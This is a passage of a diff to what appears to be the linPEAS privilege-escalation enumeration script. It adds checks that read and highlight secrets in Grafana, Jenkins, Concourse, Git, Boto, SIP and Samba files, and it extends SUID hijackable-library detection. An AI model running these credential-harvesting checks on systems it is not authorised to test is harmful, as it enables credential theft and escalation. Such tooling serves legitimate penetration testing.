-${E} "s,\.tf$,${SED_RED},"; done; echo ""; +fi + + if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then print_2title "Analyzing Racoon Files (limit 70)" if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo ""; @@ -4018,6 +4404,47 @@ if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then fi +if [ "$PSTORAGE_ROAD_RECON" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Road Recon Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_ROAD_RECON\" | grep -E \"\.roadtools_auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".roadtools_auth"; fi; fi; printf "%s" "$PSTORAGE_ROAD_RECON" | grep -E "\.roadtools_auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.roadtools_auth$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,accessToken.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_GRAFANA" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Grafana Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GRAFANA\" | grep -E \"grafana\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "grafana.ini"; fi; fi; printf "%s" "$PSTORAGE_GRAFANA" | grep -E "grafana\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,grafana\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^;" | sed -${E} "s,admin.*|username.*|password:*|secret.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_SIP" ] || [ "$DEBUG" ]; then + print_2title "Analyzing SIP Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"sip\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sip.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "sip\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sip\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|allowguest.*=.*true,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"amportal\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "amportal.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "amportal\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,amportal\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PASS.*=.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"FreePBX\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreePBX.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "FreePBX\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreePBX\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E ".*AMPDB.*=.*" | sed -${E} "s,.*AMPDB.*=.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SIP\" | grep -E \"Elastix\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Elastix.conf"; fi; fi; printf "%s" "$PSTORAGE_SIP" | grep -E "Elastix\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Elastix\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*pwd.*=.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_VIRTUAL_DISKS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Virtual Disks Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhd"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhd$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vhdx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vhdx"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vhdx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vhdx$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VIRTUAL_DISKS\" | grep -E \"\.vmdk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.vmdk"; fi; fi; printf "%s" "$PSTORAGE_VIRTUAL_DISKS" | grep -E "\.vmdk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vmdk$,${SED_RED},"; done; echo ""; +fi + + +if [ "$PSTORAGE_GIT" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Git Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GIT\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GIT" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_ATLANTIS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Atlantis Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_ATLANTIS\" | grep -E \"atlantis\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "atlantis.db"; fi; fi; printf "%s" "$PSTORAGE_ATLANTIS" | grep -E "atlantis\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,atlantis\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,CloneURL|Username,${SED_RED},g"; done; echo ""; +fi + + if [ "$PSTORAGE_OPERA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Opera Files (limit 70)" if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; @@ -4030,6 +4457,32 @@ if [ "$PSTORAGE_SAFARI" ] || [ "$DEBUG" ]; then fi +if [ "$PSTORAGE_FAT_FREE" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Fat-Free Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FAT_FREE\" | grep -E \"fat\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fat.config"; fi; fi; printf "%s" "$PSTORAGE_FAT_FREE" | grep -E "fat\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fat\.config$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "password.*" | sed -${E} "s,password.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_SHODAN" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Shodan Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SHODAN\" | grep -E \"api_key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "api_key"; fi; fi; printf "%s" "$PSTORAGE_SHODAN" | grep -E "api_key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,api_key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; +fi + + +if [ "$PSTORAGE_CONCOURSE" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Concourse Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"\.flyrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".flyrc"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "\.flyrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.flyrc$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,token:*|value:.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-auth$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-auth"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-auth$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-auth$,${SED_RED},"; find "$f" -name "host-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "local-users" | while read ff; do ls -ld "$ff" | sed -${E} "s,local-users,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "session-signing-key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session-signing-key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker-key-pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker-key-pub,${SED_RED},"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CONCOURSE\" | grep -E \"concourse-keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "concourse-keys"; fi; fi; printf "%s" "$PSTORAGE_CONCOURSE" | grep -E "concourse-keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,concourse-keys$,${SED_RED},"; find "$f" -name "host_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,host_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,RSA PRIVATE KEY,${SED_RED},g"; done; echo "";find "$f" -name "session_signing_key" | while read ff; do ls -ld "$ff" | sed -${E} "s,session_signing_key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "worker_key.pub" | while read ff; do ls -ld "$ff" | sed -${E} "s,worker_key.pub,${SED_RED},"; done; echo "";done; echo ""; +fi + + +if [ "$PSTORAGE_BOTO" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Boto Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_BOTO\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_BOTO" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; +fi + + if [ "$PSTORAGE_INFLUXDB" ] || [ "$DEBUG" ]; then print_2title "Analyzing InfluxDB Files (limit 70)" if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo ""; @@ -4056,9 +4509,16 @@ if [ "$PSTORAGE_PASS_STORE_DIRECTORIES" ] || [ "$DEBUG" ]; then fi -if [ "$PSTORAGE_BIND" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Bind Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; +if [ "$PSTORAGE_SAMBA" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Samba Files (limit 70)" + smbstatus 2>/dev/null + if ! [ "`echo \"$PSTORAGE_SAMBA\" | grep -E \"smb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "smb.conf"; fi; fi; printf "%s" "$PSTORAGE_SAMBA" | grep -E "smb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,smb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "browseable|read only|writable|guest ok|enable privileges|create mask|directory mask|logon script|magic script|magic output" | sed -${E} "s,browseable.*yes|read only.*no|writable.*yes|guest ok.*yes|enable privileges.*yes|create mask.*|directory mask.*|logon script.*|magic script.*|magic output.*,${SED_RED},g" | sed -${E} "s,browseable.*no|read only.*yes|writable.*no|guest ok.*no|enable privileges.*no,${SED_GOOD},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_DNS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing DNS Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_DNS\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_DNS" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";find "$f" -name "named.conf*" | while read ff; do ls -ld "$ff" | sed -${E} "s,named.conf.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|//" | sed -${E} "s,allow-query|allow-recursion|allow-transfer|zone-statistics|file .*,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -4111,6 +4571,16 @@ if [ "$PSTORAGE_JETTY" ] || [ "$DEBUG" ]; then fi +if [ "$PSTORAGE_JENKINS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Jenkins Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"master\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "master.key"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "master\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,master\.key$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"hudson\.util\.Secret$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hudson.util.Secret"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "hudson\.util\.Secret$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hudson\.util\.Secret$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"credentials\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "credentials\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"config\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.xml"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "config\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JENKINS\" | grep -E \"jenkins$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*jenkins"; fi; fi; printf "%s" "$PSTORAGE_JENKINS" | grep -E "jenkins$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jenkins$,${SED_RED},"; find "$f" -name "build.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,build.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "secret.*|password.*" | sed -${E} "s,secret.*|password.*,${SED_RED},g"; done; echo "";done; echo ""; +fi + + if [ "$PSTORAGE_INTERESTING_LOGS" ] || [ "$DEBUG" ]; then @@ -4122,9 +4592,9 @@ fi if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Windows Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "\.rdg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"autounattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "autounattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "autounattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,autounattend\.xml$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; @@ -4163,6 +4633,7 @@ if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "system\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; @@ -4171,6 +4642,7 @@ if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"plum\.sqlite$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "plum.sqlite"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "plum\.sqlite$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,plum\.sqlite$,${SED_RED},"; done; echo ""; fi @@ -4207,10 +4679,10 @@ echo '' echo '' if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi -if echo $CHECKS | grep -q interesting_files; then -print_title "Interesting Files" +if echo $CHECKS | grep -q interesting_perms_files; then +print_title "Files with Interesting Permissions" ########################################### -#----------) Interesting files (----------# +#-) Files with Interesting Permissions (-# ########################################### check_critial_root_path(){ @@ -4223,7 +4695,7 @@ check_critial_root_path(){ -##-- IF) SUID +##-- IPF) SUID print_2title "SUID - Check easy privesc, exploits and write perms" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" if ! [ "$STRINGS" ]; then @@ -4235,15 +4707,15 @@ fi suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) for s in $suids_files; do s=$(ls -lahtr "$s") - #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total"; then break; fi sname="$(echo $s | awk '{print $9}')" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then - true #Don't do nothing + true # Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits) echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" @@ -4260,22 +4732,36 @@ for s in $suids_files; do else echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC - if ! [ "$FAST" ] && [ "$STRINGS" ]; then - $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do - sline_first="$(echo "$sline" | cut -d ' ' -f1)" - if echo "$sline_first" | grep -qEv "$cfuncs"; then - if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path - if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" - fi - else #If not a path - if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary - printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do + sline_first="$(echo "$sline" | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi + else #If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi fi fi - fi - done - if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then printf $ITALIC echo "----------------------------------------------------------------------------------------" echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." @@ -4287,6 +4773,7 @@ for s in $suids_files; do echo "----------------------------------------------------------------------------------------" echo "" fi + fi fi fi @@ -4295,13 +4782,13 @@ done; echo "" -##-- IF) SGID +##-- IPF) SGID print_2title "SGID" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" 